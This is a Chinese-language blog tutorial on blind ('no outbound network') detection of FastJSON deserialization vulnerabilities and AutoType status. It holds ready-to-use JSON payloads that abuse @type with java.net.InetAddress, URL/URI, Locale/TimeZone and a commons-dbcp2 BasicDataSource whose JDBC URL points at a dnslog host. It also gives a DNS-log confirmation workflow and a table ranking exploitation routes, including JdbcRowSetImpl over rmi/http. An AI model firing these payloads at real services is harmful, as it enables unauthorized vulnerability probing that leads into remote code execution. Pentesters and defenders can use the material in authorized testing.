🧨 FastJSON “不出网验证” 全解析
从一次普通的 POST 请求,如何判断目标后端用了 FastJSON?还能不能打?是否开启了 AutoType?今天给你掰开揉碎讲清楚:如何在“目标无法访问公网”的条件下判断 FastJSON 是否存在可利用的反序列化漏洞。
🎯 什么是“不出网验证”?
在企业内网或高安全环境中,很多服务并不能访问公网 HTTP 接口。 但你又想知道:
- 🎯 是否使用了 FastJSON?
- 🎯 是否未关闭 AutoType?
- 🎯 是否有反序列化触发点?
于是,我们引入了“不出网验证”——不依赖 HTTP/RCE/回显,仅通过 DNS 或局部副作用判断漏洞是否存在。
不出网的详细解释见文章《企业架构中最容易误解的概念:DMZ 不出网 ≠ 无法被访问》
🧪 一、利用 InetAddress 触发 DNS 请求
🚀 Payload
{
"@type": "java.net.InetAddress",
"val": "geekserver.top.dnslog.cn"
}
🧠 利用原理
- FastJSON 会反射加载
InetAddress
类; - 调用
InetAddress.getByName()
,尝试解析域名; - 触发一次 DNS 请求 → 发送到你的
dnslog.cn
; - 无需出网访问 HTTP,即可知道是否存在反序列化点。
✅ 特点
- DNS 请求穿透能力强;
- 只需一个 POST 请求,黑盒即可测试;
- 绝大多数环境都能触发,成功率高。
🔍 二、利用 URL/URI 触发域名解析
🚀 Payload
{
"@type": "java.net.URL",
"val": "http://geekserver.top.dnslog.cn"
}
或:
{
"@type": "java.net.URI",
"val": "http://geekserver.top.dnslog.cn"
}
🧠 利用原理
这两种类在被实例化时,也可能触发域名解析或网络连接尝试(取决于后续是否使用它们),用于探测一些 懒加载网络类 的反序列化行为。
✅ 特点
- 可能无法直接触发 DNS 请求,但可用于组合利用;
- 在某些 Web 服务组件中效果更佳(如 URL 连接池、资源读取等)。
🎯 三、利用 Locale/TimeZone 等类
🚀 Payload
{
"@type": "java.util.Locale",
"val": "en_US"
}
或:
{
"@type": "java.util.TimeZone",
"val": "Asia/Shanghai"
}
🧠 利用原理
- 这些类被实例化时会访问系统缓存或资源表;
- 在某些框架下可能留下日志副作用、响应差异、内存行为变化;
- 可利用日志侧信道进一步识别。
✅ 特点
- 无需 DNS/HTTP,适合日志侧信道探测;
- 需配合白盒 / 漏洞挖掘场景使用。
💣 四、内存探针类进行漏洞链判断
🚀 Payload
{
"@type": "org.apache.commons.dbcp2.BasicDataSource",
"driverClassName": "com.mysql.jdbc.Driver",
"url": "jdbc:mysql://your-uuid.dnslog.cn/db"
}
🧠 原理说明:
- 在某些 JDBC 类被反序列化后,会尝试发起数据库连接;
- 可用于判断是否存在远程加载/初始化行为。
⚠️ 注意:
FastJSON 新版本中大部分“危险类”被加入黑名单或需要显式白名单,建议配合版本判断进行定向利用。
🔍 探测流程
步骤 | 行为 | 判断依据 |
---|---|---|
① 构造 JSON Payload | 使用 @type + DNS 字段 | 流量/响应 |
② 监听 DNS 请求 | 使用 dnslog.cn / ceye.io | 有记录即可确认 |
③ 分析响应副作用 | 结合日志、内存 dump、异常信息 | 排查日志 |
🚨 快速判断技巧
请求响应特征 | 含义 |
---|---|
响应非常快、无错误 | 服务可能没有反序列化逻辑 |
响应变慢 / 报错 AutoType is not supported | FastJSON 存在,但 AutoType 被禁用 |
DNS 请求成功 / 日志中有访问行为 | 服务解析了 JSON 并反射加载了类(漏洞存在!) |
✅ 总结
利用方式 | 是否需要出网 | 成功率 |
---|---|---|
InetAddress.getByName | ❌ 不需要 | ⭐⭐⭐⭐⭐ |
URL/URI | ❌ 一般不需要 | ⭐⭐⭐ |
Locale/TimeZone | ❌ 不需要 | ⭐⭐ |
JdbcRowSetImpl 等 | ✅(rmi/http) | ⭐⭐⭐⭐ |
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容